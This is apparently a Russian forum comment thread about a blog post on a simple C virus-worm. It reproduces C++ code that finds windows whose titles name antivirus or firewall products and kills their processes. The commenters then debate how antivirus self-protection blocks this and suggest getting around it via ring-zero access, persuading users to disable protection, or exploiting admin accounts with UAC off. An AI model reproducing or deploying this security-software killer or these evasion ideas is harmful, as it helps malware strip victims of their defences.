- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
char* bad_windows_list[kx] = {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"};
BOOL BadWindow(LPSTR strWindow)
{
BOOL res = FALSE;
for (int i=0;i<kx;i++)
if (strstr(strWindow,bad_windows_list[i])!=0) res = TRUE;
return res;
}
BOOL CALLBACK WndEnumProcMine (HWND hwnd1,long l1)
{
LPTSTR str1 = new char[255];
GetWindowText(hwnd1,str1,255);
if (BadWindow(str1))
{
DWORD dwProcessId;
GetWindowThreadProcessId(hwnd1,&dwProcessId);
if (dwProcessId!=GetCurrentProcessId())
{
HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS,FALSE, dwProcessId);
TerminateProcess(hProcess,0);
CloseHandle(hProcess);
}
}
delete str1;
return TRUE;
}
void EnumProcessesOther()
{
LPARAM c = 0;
EnumWindows((WNDENUMPROC) WndEnumProcMine,c);
}
> {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"}
> TerminateProcess(hProcess,0);
Наивный макак.
http://www.makak.ru/2008/02/27/neslozhnyj-rezidentnyj-virus-cherv-na-c/
А от чиего имени происходит вызов? Если от юзера - так просто убить свой процес антивирус не даст.
От этого не застрахован никакой касперский.
Это результат эксперимента или просто мысль?
Ничто не мешает антивирусу перехватывать MoveWindow на свои окна, или вообще выпилить их из всех списков... Но вот делает ли он так в реале - х.з., я не пробовал.
Если не от юзера - тоже не даст :)
Тут, емнип, только прорываться с боем в нулевое кольцо защиты. Ну или тупо уговорить юзера отключить самозащиту антивиря.
Кроме того, в 99% случаев домашний пользователь сидит под xp/семёркой с отрубленным uac'ом, с правами локального администратора.